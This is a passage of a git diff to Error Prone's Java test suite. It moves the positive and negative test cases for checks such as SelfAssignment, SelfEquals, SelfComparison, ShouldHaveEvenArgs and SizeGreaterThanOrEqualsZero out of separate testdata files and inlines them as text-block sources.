b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssertionTest.java @@ -38,12 +38,99 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SelfAssertionPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssertionPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + import static com.google.common.truth.Truth.assertWithMessage; + + /** + * Positive test cases for SelfAssertion check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfAssertionPositiveCases { + + public void testAssertThatEq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isEqualTo(test); + } + + public void testAssertWithMessageEq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isEqualTo(test); + } + + public void testAssertThatSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isSameInstanceAs(test); + } + + public void testAssertWithMessageSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isSameInstanceAs(test); + } + + public void testAssertThatNeq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isNotEqualTo(test); + } + + public void testAssertThatNotSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertThat(test).isNotSameInstanceAs(test); + } + + public void testAssertWithMessageNeq() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isNotEqualTo(test); + } + + public void testAssertWithMessageNotSame() { + String test = Boolean.TRUE.toString(); + // BUG: Diagnostic contains: + assertWithMessage("msg").that(test).isNotSameInstanceAs(test); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfAssertionNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssertionNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + /** + * Negative test cases for SelfAssertion check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfAssertionNegativeCases { + + public void testEq() { + assertThat(Boolean.TRUE.toString()).isEqualTo(Boolean.FALSE.toString()); + } + + public void testNeq() { + assertThat(Boolean.TRUE.toString()).isNotEqualTo(Boolean.FALSE.toString()); + } + }""") + .doTest(); } // regression test for b/32107126 diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java index 967023e1854..cd665b13e5f 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfAssignmentTest.java @@ -32,16 +32,280 @@ public class SelfAssignmentTest { @Test public void positiveCases1() { - compilationHelper.addSourceFile("testdata/SelfAssignmentPositiveCases1.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssignmentPositiveCases1.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Tests for self assignment + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class SelfAssignmentPositiveCases1 { + private int a; + + public void test1(int b) { + // BUG: Diagnostic contains: this.a = b + this.a = a; + } + + public void test2(int b) { + // BUG: Diagnostic contains: remove this line + a = this.a; + } + + public void test3() { + int a = 0; + // BUG: Diagnostic contains: this.a = a + a = a; + } + + public void test4() { + // BUG: Diagnostic contains: remove this line + this.a = this.a; + } + + public void test5() { + // BUG: Diagnostic contains: this.a = a + if ((a = a) != 10) { + System.out.println("foo"); + } + } + + // Check that WrappedTreeMap handles folded strings; tested by EndPosTest. + // See https://code.google.com/p/error-prone/issues/detail?id=209 + public String foldableString() { + return "foo" + "bar"; + } + + public void testCast() { + int a = 0; + // BUG: Diagnostic contains: this.a = (int) a + a = (int) a; + // BUG: Diagnostic contains: this.a = (short) a + a = (short) a; + } + + public void testCast(int x) { + // BUG: Diagnostic contains: this.a = (int) x; + this.a = (int) a; + } + }""") + .doTest(); } @Test public void positiveCases2() { - compilationHelper.addSourceFile("testdata/SelfAssignmentPositiveCases2.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssignmentPositiveCases2.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + import static java.util.Objects.requireNonNull; + + /** + * Tests for self assignment + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class SelfAssignmentPositiveCases2 { + private int a; + private Foo foo; + + // BUG: Diagnostic contains: private static final Object obj + private static final Object obj = SelfAssignmentPositiveCases2.obj; + // BUG: Diagnostic contains: private static final Object obj2 + private static final Object obj2 = checkNotNull(SelfAssignmentPositiveCases2.obj2); + + public void test6() { + Foo foo = new Foo(); + foo.a = 2; + // BUG: Diagnostic contains: remove this line + foo.a = foo.a; + // BUG: Diagnostic contains: checkNotNull(foo.a) + foo.a = checkNotNull(foo.a); + // BUG: Diagnostic contains: requireNonNull(foo.a) + foo.a = requireNonNull(foo.a); + } + + public void test7() { + Foobar f = new Foobar(); + f.foo = new Foo(); + f.foo.a = 10; + // BUG: Diagnostic contains: remove this line + f.foo.a = f.foo.a; + // BUG: Diagnostic contains: checkNotNull(f.foo.a) + f.foo.a = checkNotNull(f.foo.a); + // BUG: Diagnostic contains: requireNonNull(f.foo.a) + f.foo.a = requireNonNull(f.foo.a); + } + + public void test8() { + foo = new Foo(); + // BUG: Diagnostic contains: remove this line + this.foo.a = foo.a; + // BUG: Diagnostic contains: checkNotNull(foo.a) + this.foo.a = checkNotNull(foo.a); + // BUG: Diagnostic contains: requireNonNull(foo.a) + this.foo.a = requireNonNull(foo.a); + } + + public void test9(Foo fao, Foo bar) { + // BUG: Diagnostic contains: this.foo = fao + this.foo = foo; + // BUG: Diagnostic contains: this.foo = checkNotNull(fao) + this.foo = checkNotNull(foo); + // BUG: Diagnostic contains: this.foo = requireNonNull(fao) + this.foo = requireNonNull(foo); + } + + public void test10(Foo foo) { + // BUG: Diagnostic contains: this.foo = foo + foo = foo; + // BUG: Diagnostic contains: this.foo = checkNotNull(foo) + foo = checkNotNull(foo); + // BUG: Diagnostic contains: this.foo = requireNonNull(foo) + foo = requireNonNull(foo); + } + + class Test11 { + final Foo foo; + + Foo fao; + + Test11(Foo foo) { + if (true) { + // BUG: Diagnostic contains: this.fao = foo + foo = foo; + } + this.foo = foo; + } + + public void test11a(Foo foo) { + // BUG: Diagnostic contains: this.fao = foo + foo = foo; + } + } + + private static class Foo { + int a; + } + + private static class Bar { + int a; + } + + private static class Foobar { + Foo foo; + Bar bar; + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfAssignmentNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfAssignmentNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.base.Preconditions.checkNotNull; + import static java.util.Objects.requireNonNull; + + /** + * Tests for self assignment + * + * @author eaftan@google.com (Eddie Aftandilian) + */ + public class SelfAssignmentNegativeCases { + private int a; + + private static int b = StaticClass.b; + private static final int C = SelfAssignmentNegativeCases.b; + private static final int D = checkNotNull(SelfAssignmentNegativeCases.C); + private static final int E = requireNonNull(SelfAssignmentNegativeCases.D); + private static final int F = StaticClass.getIntArr().length; + + public void test1(int a) { + int b = SelfAssignmentNegativeCases.b; + this.a = a; + this.a = checkNotNull(a); + this.a = requireNonNull(a); + } + + public void test2() { + int a = 0; + int b = a; + a = b; + } + + public void test3() { + int a = 10; + } + + public void test4() { + int i = 1; + i += i; + } + + public void test5(SelfAssignmentNegativeCases n) { + a = n.a; + } + + public void test6() { + Foo foo = new Foo(); + Bar bar = new Bar(); + foo.a = bar.a; + foo.a = checkNotNull(bar.a); + foo.a = requireNonNull(bar.a); + } + + public void test7() { + Foobar f1 = new Foobar(); + f1.foo = new Foo(); + f1.bar = new Bar(); + f1.foo.a = f1.bar.a; + f1.foo.a = checkNotNull(f1.bar.a); + f1.foo.a = requireNonNull(f1.bar.a); + } + + public void test8(SelfAssignmentNegativeCases that) { + this.a = that.a; + this.a = checkNotNull(that.a); + this.a = requireNonNull(that.a); + } + + public void test9(int a) { + a += a; + } + + private static class Foo { + int a; + } + + private static class Bar { + int a; + } + + private static class Foobar { + Foo foo; + Bar bar; + } + + private static class StaticClass { + static int b; + + public static int[] getIntArr() { + return new int[10]; + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java index 231e1957360..4867362da1e 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfComparisonTest.java @@ -38,11 +38,136 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SelfComparisonPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "SelfComparisonPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Positive test case for {@link SelfComparison} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfComparisonPositiveCase implements Comparable { + + public int test1() { + SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(obj); + } + + private SelfComparisonPositiveCase obj = new SelfComparisonPositiveCase(); + + public int test2() { + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(this.obj); + } + + public int test3() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(obj); + } + + public int test4() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(this.obj); + } + + public int test5() { + // BUG: Diagnostic contains: An object is compared to itself + return compareTo(this); + } + + @Override + public int compareTo(Object o) { + return 0; + } + + public static class ComparisonTest implements Comparable { + private String testField; + + @Override + public int compareTo(ComparisonTest s) { + return testField.compareTo(s.testField); + } + + public int test1() { + ComparisonTest obj = new ComparisonTest(); + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(obj); + } + + private ComparisonTest obj = new ComparisonTest(); + + public int test2() { + // BUG: Diagnostic contains: An object is compared to itself + return obj.compareTo(this.obj); + } + + public int test3() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(obj); + } + + public int test4() { + // BUG: Diagnostic contains: An object is compared to itself + return this.obj.compareTo(this.obj); + } + + public int test5() { + // BUG: Diagnostic contains: An object is compared to itself + return compareTo(this); + } + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfComparisonNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfComparisonNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + /** + * Negative test cases for {@link SelfComparison} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfComparisonNegativeCases implements Comparable { + private String field; + + @Override + public int hashCode() { + return field != null ? field.hashCode() : 0; + } + + @Override + public int compareTo(Object o) { + if (!(o instanceof SelfComparisonNegativeCases)) { + return -1; + } + + SelfComparisonNegativeCases other = (SelfComparisonNegativeCases) o; + return field.compareTo(other.field); + } + + public int test() { + return Boolean.TRUE.toString().compareTo(Boolean.FALSE.toString()); + } + + public static class CopmarisonTest implements Comparable { + private String testField; + + @Override + public int compareTo(CopmarisonTest obj) { + return testField.compareTo(obj.testField); + } + } + }""") + .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java index ba963bac7a7..3b403c90409 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SelfEqualsTest.java @@ -38,12 +38,154 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/SelfEqualsPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import org.junit.Assert; + + /** + * Positive test cases for {@link SelfEquals} check. + * + * @author eaftan@google.com (Eddie Aftandilian) + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfEqualsPositiveCase { + protected String simpleField; + + public boolean test1(Object obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: simpleField.equals(other.simpleField); + return simpleField.equals(simpleField); + } + + public boolean test2(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: simpleField.equals(other.simpleField); + return simpleField.equals(this.simpleField); + } + + public boolean test3(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); + return this.simpleField.equals(simpleField); + } + + public boolean test4(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: this.simpleField.equals(other.simpleField); + return this.simpleField.equals(this.simpleField); + } + + public boolean test5(SelfEqualsPositiveCase obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + // BUG: Diagnostic contains: + return equals(this); + } + + public void testAssertTrue(SelfEqualsPositiveCase obj) { + Assert.assertTrue(obj.equals(obj)); + } + + public void testAssertThat(SelfEqualsPositiveCase obj) { + assertThat(obj.equals(obj)).isTrue(); + } + + @Override + public boolean equals(Object obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SelfEqualsPositiveCase other = (SelfEqualsPositiveCase) obj; + return simpleField.equals(((SelfEqualsPositiveCase) other).simpleField); + } + + private static class SubClass extends SelfEqualsPositiveCase { + @Override + public boolean equals(Object obj) { + if (obj == null || getClass() != obj.getClass()) { + return false; + } + SubClass other = (SubClass) obj; + return simpleField.equals(((SubClass) other).simpleField); + } + } + + public void testSub() { + SubClass sc = new SubClass(); + // BUG: Diagnostic contains: + sc.equals(sc); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/SelfEqualsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + /** + * Negative test cases for {@link SelfEquals} check. + * + * @author alexeagle@google.com (Alex Eagle) + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfEqualsNegativeCases { + private String field; + + @Override + public int hashCode() { + return field != null ? field.hashCode() : 0; + } + + @Override + public boolean equals(Object o) { + if (!(o instanceof SelfEqualsNegativeCases)) { + return false; + } + + SelfEqualsNegativeCases other = (SelfEqualsNegativeCases) o; + return field.equals(other.field); + } + + public boolean test() { + return Boolean.TRUE.toString().equals(Boolean.FALSE.toString()); + } + + public void testAssertThatEq(SelfEqualsNegativeCases obj) { + assertThat(obj).isEqualTo(obj); + } + + public void testAssertThatNeq(SelfEqualsNegativeCases obj) { + assertThat(obj).isNotEqualTo(obj); + } + }""") + .doTest(); } @Test @@ -66,12 +208,96 @@ boolean f() { @Test public void positiveCase_guava() { - compilationHelper.addSourceFile("testdata/SelfEqualsGuavaPositiveCase.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsGuavaPositiveCase.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author alexeagle@google.com (Alex Eagle) + */ + public class SelfEqualsGuavaPositiveCase { + private String field = ""; + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + SelfEqualsGuavaPositiveCase other = (SelfEqualsGuavaPositiveCase) o; + boolean retVal; + // BUG: Diagnostic contains: Objects.equal(field, other.field) + retVal = Objects.equal(field, field); + // BUG: Diagnostic contains: Objects.equal(other.field, this.field) + retVal &= Objects.equal(field, this.field); + // BUG: Diagnostic contains: Objects.equal(this.field, other.field) + retVal &= Objects.equal(this.field, field); + // BUG: Diagnostic contains: Objects.equal(this.field, other.field) + retVal &= Objects.equal(this.field, this.field); + + return retVal; + } + + @Override + public int hashCode() { + return Objects.hashCode(field); + } + + public static void test() { + ForTesting tester = new ForTesting(); + // BUG: Diagnostic contains: Objects.equal(tester.testing.testing, tester.testing) + Objects.equal(tester.testing.testing, tester.testing.testing); + } + + private static class ForTesting { + public ForTesting testing; + public String string; + } + }""") + .doTest(); } @Test public void negativeCase_guava() { - compilationHelper.addSourceFile("testdata/SelfEqualsGuavaNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "SelfEqualsGuavaNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import com.google.common.base.Objects; + + /** + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class SelfEqualsGuavaNegativeCases { + private String field; + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + SelfEqualsGuavaNegativeCases other = (SelfEqualsGuavaNegativeCases) o; + return Objects.equal(field, other.field); + } + + @Override + public int hashCode() { + return field != null ? field.hashCode() : 0; + } + }""") + .doTest(); } @Test diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java index 4566c5c8a70..ae60d79438b 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/ShouldHaveEvenArgsTest.java @@ -38,19 +38,173 @@ public void setUp() { @Test public void positiveCase() { - compilationHelper.addSourceFile("testdata/ShouldHaveEvenArgsPositiveCases.java").doTest(); + compilationHelper + .addSourceLines( + "ShouldHaveEvenArgsPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.truth.Correspondence; + import java.util.HashMap; + import java.util.Map; + + /** + * Positive test cases for {@link ShouldHaveEvenArgs} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class ShouldHaveEvenArgsPositiveCases { + + private static final Map map = new HashMap(); + + public void testWithOddArgs() { + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly("hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly("hello", "there", "hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly(null, null, null, null, new Object[] {}); + } + + public void testWithArrayArgs() { + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + // BUG: Diagnostic contains: even number of arguments + assertThat(map).containsExactly(key, value, (Object) args); + } + + public void testWithOddArgsWithCorrespondence() { + assertThat(map) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "rest"); + + assertThat(map) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "hello", "there", "rest"); + } + }""") + .doTest(); } @Test public void negativeCase() { - compilationHelper.addSourceFile("testdata/ShouldHaveEvenArgsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "ShouldHaveEvenArgsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import java.util.HashMap; + import java.util.Map; + + /** + * Negative test cases for {@link ShouldHaveEvenArgs} check. + * + * @author bhagwani@google.com (Sumit Bhagwani) + */ + public class ShouldHaveEvenArgsNegativeCases { + + private static final Map map = new HashMap(); + + public void testWithNoArgs() { + assertThat(map).containsExactly(); + } + + public void testWithMinimalArgs() { + assertThat(map).containsExactly("hello", "there"); + } + + public void testWithEvenArgs() { + assertThat(map).containsExactly("hello", "there", "hello", "there"); + } + + public void testWithVarargs(Object... args) { + assertThat(map).containsExactly("hello", args); + assertThat(map).containsExactly("hello", "world", args); + } + + public void testWithArray() { + String[] arg = {"hello", "there"}; + assertThat(map).containsExactly("yolo", arg); + + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + assertThat(map).containsExactly(key, value); + assertThat(map).containsExactly(key, value, (Object[]) args); + assertThat(map).containsExactly(key, value, key, value, key, value); + } + }""") + .doTest(); } @org.junit.Ignore("Public truth doesn't contain this method") @Test public void positiveCase_multimap() { compilationHelper - .addSourceFile("testdata/ShouldHaveEvenArgsMultimapPositiveCases.java") + .addSourceLines( + "ShouldHaveEvenArgsMultimapPositiveCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.collect.ImmutableMultimap; + import com.google.common.collect.Multimap; + import com.google.common.truth.Correspondence; + + /** + * Positive test cases for {@link ShouldHaveEvenArgs} check. + * + * @author monnoroch@google.com (Max Strakhov) + */ + public class ShouldHaveEvenArgsMultimapPositiveCases { + + private static final Multimap multimap = ImmutableMultimap.of(); + + public void testWithOddArgs() { + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly("hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly("hello", "there", "hello", "there", "rest"); + + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly(null, null, null, null, new Object[] {}); + } + + public void testWithArrayArgs() { + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + // BUG: Diagnostic contains: even number of arguments + assertThat(multimap).containsExactly(key, value, (Object) args); + } + + public void testWithOddArgsWithCorrespondence() { + assertThat(multimap) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "rest"); + + assertThat(multimap) + .comparingValuesUsing(Correspondence.from((a, b) -> true, "dummy")) + // BUG: Diagnostic contains: even number of arguments + .containsExactly("hello", "there", "hello", "there", "rest"); + } + }""") .doTest(); } @@ -58,7 +212,51 @@ public void positiveCase_multimap() { @Test public void negativeCase_multimap() { compilationHelper - .addSourceFile("testdata/ShouldHaveEvenArgsMultimapNegativeCases.java") + .addSourceLines( + "ShouldHaveEvenArgsMultimapNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.testdata; + + import static com.google.common.truth.Truth.assertThat; + + import com.google.common.collect.ImmutableMultimap; + import com.google.common.collect.Multimap; + + /** + * Negative test cases for {@link ShouldHaveEvenArgs} check. + * + * @author monnoroch@google.com (Max Strakhov) + */ + public class ShouldHaveEvenArgsMultimapNegativeCases { + + private static final Multimap multimap = ImmutableMultimap.of(); + + public void testWithMinimalArgs() { + assertThat(multimap).containsExactly("hello", "there"); + } + + public void testWithEvenArgs() { + assertThat(multimap).containsExactly("hello", "there", "hello", "there"); + } + + public void testWithVarargs(Object... args) { + assertThat(multimap).containsExactly("hello", args); + assertThat(multimap).containsExactly("hello", "world", args); + } + + public void testWithArray() { + String[] arg = {"hello", "there"}; + assertThat(multimap).containsExactly("yolo", arg); + + String key = "hello"; + Object[] value = new Object[] {}; + Object[][] args = new Object[][] {}; + + assertThat(multimap).containsExactly(key, value); + assertThat(multimap).containsExactly(key, value, (Object[]) args); + assertThat(multimap).containsExactly(key, value, key, value, key, value); + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java index e7652f6a8b3..b3b8b28fcff 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/SizeGreaterThanOrEqualsZeroTest.java @@ -38,14 +38,240 @@ public void setUp() { @Test public void collectionSizePositiveCases() { compilationHelper - .addSourceFile("testdata/SizeGreaterThanOrEqualsZeroPositiveCases.java") + .addSourceLines( + "SizeGreaterThanOrEqualsZeroPositiveCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.common.collect.Iterables; +import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashMap; +import java.util.HashSet; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.Set; + +/** + * @author glorioso@google.com (Nick Glorioso) + */ +public class SizeGreaterThanOrEqualsZeroPositiveCases { + private List intList = new ArrayList<>(); + private Set intSet = new HashSet<>(); + private Map intMap = new HashMap<>(); + private Collection intCollection = intList; + + public boolean collectionSize() { + + // BUG: Diagnostic contains: !intList.isEmpty() + boolean foo = intList.size() >= 0; + + // BUG: Diagnostic contains: !intSet.isEmpty() + foo = intSet.size() >= 0; + + // BUG: Diagnostic contains: !intSet.isEmpty() + foo = 0 <= intSet.size(); + + // BUG: Diagnostic contains: !intMap.isEmpty() + foo = intMap.size() >= 0; + + // BUG: Diagnostic contains: !intCollection.isEmpty() + foo = intCollection.size() >= 0; + + // Yes, that works as java code + // BUG: Diagnostic contains: !new ArrayList().isEmpty() + if (new ArrayList().size() >= 0) {} + + CollectionContainer baz = new CollectionContainer(); + + // BUG: Diagnostic contains: !baz.intList.isEmpty() + if (baz.intList.size() >= 0) {} + + // BUG: Diagnostic contains: !baz.getIntList().isEmpty() + if (baz.getIntList().size() >= 0) {} + + // BUG: Diagnostic contains: !Iterables.isEmpty(baz.getIntList()) + foo = Iterables.size(baz.getIntList()) >= 0; + + return foo; + } + + public void stringLength() { + String myString = "foo"; + CharSequence charSequence = myString; + StringBuffer stringBuffer = new StringBuffer(myString); + StringBuilder stringBuilder = new StringBuilder(myString); + boolean foo = false; + + // BUG: Diagnostic contains: !myString.isEmpty() + foo = myString.length() >= 0; + + // BUG: Diagnostic contains: !"My String Literal".isEmpty() + foo = "My String Literal".length() >= 0; + + // BUG: Diagnostic contains: !myString.trim().substring(0).isEmpty(); + foo = myString.trim().substring(0).length() >= 0; + + // BUG: Diagnostic contains: charSequence.length() > 0 + foo = charSequence.length() >= 0; + + // BUG: Diagnostic contains: stringBuffer.length() > 0 + foo = stringBuffer.length() >= 0; + + // BUG: Diagnostic contains: 0 < stringBuffer.length() + foo = 0 <= stringBuffer.length(); + + // BUG: Diagnostic contains: stringBuilder.length() > 0 + foo = stringBuilder.length() >= 0; + } + + private static int[] staticIntArray; + private int[] intArray; + private boolean[][] twoDarray; + + public boolean arrayLength() { + + // BUG: Diagnostic contains: intArray.length > 0 + boolean foo = intArray.length >= 0; + + // BUG: Diagnostic contains: twoDarray.length > 0 + foo = twoDarray.length >= 0; + + // BUG: Diagnostic contains: staticIntArray.length > 0 + foo = staticIntArray.length >= 0; + + // BUG: Diagnostic contains: twoDarray[0].length > 0 + foo = twoDarray[0].length >= 0; + + // BUG: Diagnostic contains: 0 < twoDarray[0].length + foo = 0 <= twoDarray[0].length; + + // BUG: Diagnostic contains: (((((twoDarray))))).length > 0 + foo = (((((twoDarray))))).length >= 0; + + return foo; + } + + public void protoCount(TestProtoMessage msg) { + boolean foo; + // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); + foo = msg.getMultiFieldCount() >= 0; + // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty(); + foo = 0 <= msg.getMultiFieldCount(); + // BUG: Diagnostic contains: foo = !(((((msg))))).getMultiFieldList().isEmpty(); + foo = (((((msg))))).getMultiFieldCount() >= 0; + // BUG: Diagnostic contains: if (!this.getMsg(msg).get().getMultiFieldList().isEmpty()) { + if (this.getMsg(msg).get().getMultiFieldCount() >= 0) { + foo = true; + } + } + + private Optional getMsg(TestProtoMessage msg) { + return Optional.of(msg); + } + + private static class CollectionContainer { + List intList; + + List getIntList() { + return intList; + } + } +}""") .doTest(); } @Test public void collectionSizeNegativeCases() { compilationHelper - .addSourceFile("testdata/SizeGreaterThanOrEqualsZeroNegativeCases.java") + .addSourceLines( + "SizeGreaterThanOrEqualsZeroNegativeCases.java", + """ +package com.google.errorprone.bugpatterns.testdata; + +import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage; +import java.util.ArrayList; +import java.util.Collection; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +/** + * @author glorioso@google.com (Nick Glorioso) + */ +public class SizeGreaterThanOrEqualsZeroNegativeCases { + private List intList = new ArrayList<>(); + private Set intSet = new HashSet<>(); + private Collection intCollection = intList; + + public boolean testEquality() { + boolean foo; + foo = intList.size() > 0; + foo = intSet.size() >= 1; + foo = intCollection.size() <= 0; + foo = intCollection.size() == 0; + foo = intCollection.size() < 0; + + if (new ArrayList().size() > 0) {} + + CollectionContainer baz = new CollectionContainer(); + if (baz.intList.size() >= 1) {} + if (baz.getIntList().size() >= 1) {} + + // These are incorrect comparisons, but we've chosen to not attempt to find these issues + foo = (((((new HasASizeMethod()))))).size() >= 0; + foo = new HasASizeMethod().length >= 0; + + return foo; + } + + private static int[] staticIntArray; + private int[] intArray; + private boolean[][] twoDarray; + + public boolean arrayLength() { + int zero = 0; + + boolean foo = intArray.length > 0; + foo = twoDarray.length >= 1; + foo = staticIntArray.length >= -1; + foo = twoDarray[0].length > 0; + foo = (((((twoDarray))))).length > zero; + + return foo; + } + + public void protoCount(TestProtoMessage msg) { + int zero = 0; + boolean foo; + foo = 